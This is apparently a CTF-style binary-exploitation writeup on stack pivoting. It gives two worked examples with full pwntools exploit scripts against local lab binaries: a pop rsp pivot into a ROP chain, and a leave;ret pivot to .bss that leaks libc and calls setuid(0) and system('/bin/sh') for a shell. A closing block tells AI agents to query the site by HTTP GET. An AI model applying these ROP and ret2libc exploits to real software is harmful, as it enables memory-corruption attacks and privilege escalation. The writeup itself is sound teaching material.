# Stack Pivoting

### TLDR

Requirements

1. Somewhere to pivot to obviously (.bss, buffer on the stack)
2. Stack Pivoting Gadget - something that controls RSP
   1. `leave ret`
   2. `pop rsp`

What can you do with this?

* Gain more space for your ROP chain/Shellcode :smile:

### [Example 1](https://ir0nstone.gitbook.io/notes/binexp/stack/stack-pivoting/exploitation)

```c
// gcc source.c -o vuln -no-pie
#include <stdio.h>

void winner(int a, int b) {
    if(a == 0xdeadbeef && b == 0xdeadc0de) {
        puts("Great job!");
        return;
    }
    puts("Whelp, almost...?");
}

void vuln() {
    char buffer[0x60];
    printf("Try pivoting to: %p\n", buffer);
    fgets(buffer, 0x80, stdin);
}

int main() {
    vuln();
    return 0;
}
```

* `fgets` call means that there is a limited number of bytes we can overflow -> not enough for a rop chain
  * we also have a leak to start of buffer, but not enough to craft a full ROP chain
  * to pass in the right values to the `win` function, we need to pass the values into `rdi` and `rsi`
* Using stack pivot, we format our payload with a `pop rsp..;ret` gadget which will change the `rip` to the location we control (our buffer in this case), executing the rop chain stored in the buffer.

```
	       __ start of buffer, rsp	
| ROP CHAIN | 
| AAAAs     | - padding to reach RIP 
| _________ |
| rsp gadget|
| Buffer addr|
```

```python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225                   # RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
    0,                 # r13
    0,                 # r14
    0,                 # r15
    POP_RDI,
    0xdeadbeef,
    POP_RSI_R15,
    0xdeadc0de,
    0x0,               # r15
    elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

payload += flat(
    POP_CHAIN,
    buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())
```

### Example 2

```cpp
void main(voids)
{
    puts("###");
    printf("### Welcome to %s!\n",(char *)*param_2);
    puts("###");
    putchar(10);
    FUN_004010e0(stdin,(char *)0x0,2,0);
    FUN_004010e0(stdout,(char *)0x0,2,1);
    challenge();
    puts("### Goodbye!");
    return 0;
}

void challenge(void)
{
    #Data points to 0x4040e0
    read(0,data + 65536,4096);
    memcpy(&stack0x00000000,data + 65536,0x18);
    puts("Leaving!");
    return;
}
```

1. The binary reads in 4096 bytes into `.bss` at `0x4040e0`, with the first 24 bytes (0x18) copied onto the stack via `memcpy`
   1. This gives us 3 gadgets worth of space to pivot to the address `0x4040e0`
   2. We can use a `leave ret` gadget to pivot to this address
2. `leave ret` gadget is essentially just this

```
mov rsp, rbp
pop rbp
```

3. If we have a `pop rbp` gadget, we can essentially control where the binary returns to (address of `.bss`)
4. This gives us ample space for our libc leak via `puts` as well as our ret2libc payload

```python
#!/usr/bin/env python3

from pwn import *
import time

exe = ELF("./redacted")
libc = ELF("./libc.so.6")
context.binary = exe
pop_rdi = 0x401663
ret = 0x40101a

def leak():
    puts_plt = exe.plt['puts']
    puts_got = exe.got['puts']
    challenge = exe.symbols['challenge']
    payload = b''
    payload += p64(ret)
    payload += p64(pop_rdi)
    payload += p64(puts_got)
    payload += p64(puts_plt)
    payload += p64(ret)
    payload += p64(challenge)
    return payload
    
def main():
    #Leaking Libc base address via puts()
    address_of_bss = 0x414080 + 24
    leave_ret = 0x401545
    pop_rbp = 0x4011bd
    payload = b''
    payload += p64(pop_rbp)
    payload += p64(address_of_bss)
    payload += p64(leave_ret)
    payload += leak()
    
    p = process('./babyrop_level9.1_patched')
    
    p.clean()  # Clean up any previous input/output
    p.send(payload)
    p.recvuntil('Leaving!')
    p.recvline()
    
    #Processing puts() leak to get libc base address
    leaked_puts = p.recvline()
    leaked_puts = u64(leaked_puts[:-1].ljust(8, b'\x00'))
    libc.address = leaked_puts - libc.sym['puts']
    setuid_addr = libc.sym['setuid']
    system_addr = libc.sym['system']
    bin_sh_addr = next(libc.search(b'/bin/sh'))
    log.info(f"Base Libc address: {hex(libc.address)}")
    log.info(f"setuid address: {hex(setuid_addr)}")
    log.info(f"system address: {hex(system_addr)}")
    log.info(f"/bin/sh address: {hex(bin_sh_addr)}")

    # Attach debugger before sending payload
    # gdb.attach(p)
    print("Debugger attached. Sending payload...")
    # Writing Ret2LIBC payload ahead of my first leak payload 
    address_of_bss = 0x414080 + 120
    print(hex(address_of_bss))
    final_rop = p64(pop_rbp)
    final_rop += p64(address_of_bss)
    final_rop += p64(leave_ret)
    # Accounting for the first 3 gadgets 
    final_rop += b'A' * (104)
    final_rop += p64(pop_rdi)
    final_rop += p64(0)
    final_rop += p64(setuid_addr)
    final_rop += p64(ret)
    final_rop += p64(pop_rdi)
    final_rop += p64(bin_sh_addr)
    final_rop += p64(system_addr)
    p.clean()
    p.send(final_rop)
    p.recvuntil('Leaving!')
    # Interact with the process
    p.interactive()

if __name__ == "__main__":
    main()
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://xenon-2.gitbook.io/writeups/binary-exploitation/stack-pivoting.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
